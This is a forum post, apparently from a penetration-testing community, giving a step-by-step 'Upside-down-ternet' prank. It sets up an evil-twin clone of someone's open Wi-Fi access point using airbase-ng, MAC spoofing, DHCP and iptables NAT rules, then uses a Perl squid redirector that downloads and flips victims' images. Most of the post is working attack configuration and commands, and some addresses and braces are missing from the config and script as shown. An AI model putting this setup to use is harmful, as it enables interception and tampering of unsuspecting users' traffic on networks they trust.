Results 1 to 6 of 6

Thread: Upside-down-ternet example

Threaded View

  1. #1
    Just burned his ISO
    Join Date
    Jul 2010

    Post Upside-down-ternet example

    This is UPSIDE-DOWN-TERNET example

    Result will be something like this (YouTube).

    Step 1.

    Set up you dhcpd.conf

    option domain-name-servers,; #OPENDNS, YOU CAN CHANGE THESE
    default-lease-time 60;
    max-lease-time 72;
    ddns-update-style none;
    log-facility local7;
    subnet netmask {
    interface at0;
    option routers;
    option domain-name-servers,;
    Step 2.
    Edit and insert little rediction script to you proxy server =)
    This downloads all the images to the local apache server and flips them, after
    that they are served towards.

    $count = 0;
    $pid = $$;
    while (<>) {
    chomp $_; if ($_ =~ /(.*\.jpg)/i) {
    $url = $1;
    system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.jpg", "$url");
    system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.jpg");
    system("chmod", "666", "/var/www/images/$pid-$count.jpg");
    print "$pid-$count.jpg\n";
    elsif ($_ =~ /(.*\.gif)/i) {
    $url = $1;
    system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.gif", "$url");
    system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.gif");
    system("chmod", "666", "/var/www/images/$pid-$count.gif");
    print "$pid-$count.gif\n";
    else {
    print "$_\n";;
    Set up apache up.
    Set up squid running on you localhost as transparent proxy.

    Step 3.
    Set up a AP-clone for your previous open WLAN-AP

    airmon-ng start wlan0
    ifconfig mon0 down
    macchanger -r XX:XX:XX:XX:XX:XX mon0 
    ifconfig mon0 up
    airbase-ng -W 0 -e ESSID -c 6 mon0
    ifconfig at0 up
    ifconfig at0 netmask
    route add -net netmask gw
    /etc/init.d/dhcp3-server restart
    /etc/init.d/apache2 restart
    /etc/init.d/squid restart
    Step 4.
    Configure iptables to route traffic thru your proxy server what is running at port 3128

    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    echo 1 > /proc/sys/net/ipv4/ip_forward
    echo 1 > /proc/sys/net/ipv4/conf/ppp0/forwarding
    echo 1 > /proc/sys/net/ipv4/conf/wlan0/forwarding
    echo 1 > /proc/sys/net/ipv4/conf/at0/forwarding
    iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE 
    iptables --append FORWARD --in-interface at0 -j ACCEPT
    iptables -t nat -A PREROUTING -p udp -s --dport 53 -j ACCEPT
    iptables -t nat -A PREROUTING -p tcp -m tcp -s --dport 80 -j DNAT --to-destination
    Note: you maybe wanna add your own rules to the iptables.

    Good luck =)

    Gredits to Pete.
    Last edited by qettyz; 07-29-2010 at 02:56 PM.

Similar Threads

  1. Upsid Down ternet help
    By n000b in forum Beginners Forum
    Replies: 2
    Last Post: 02-06-2010, 11:42 PM
  2. You've seen this before-Upside-down-ternet
    By imported_spankdidly in forum OLD BackTrack v2.0 Final
    Replies: 12
    Last Post: 08-14-2007, 09:41 PM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts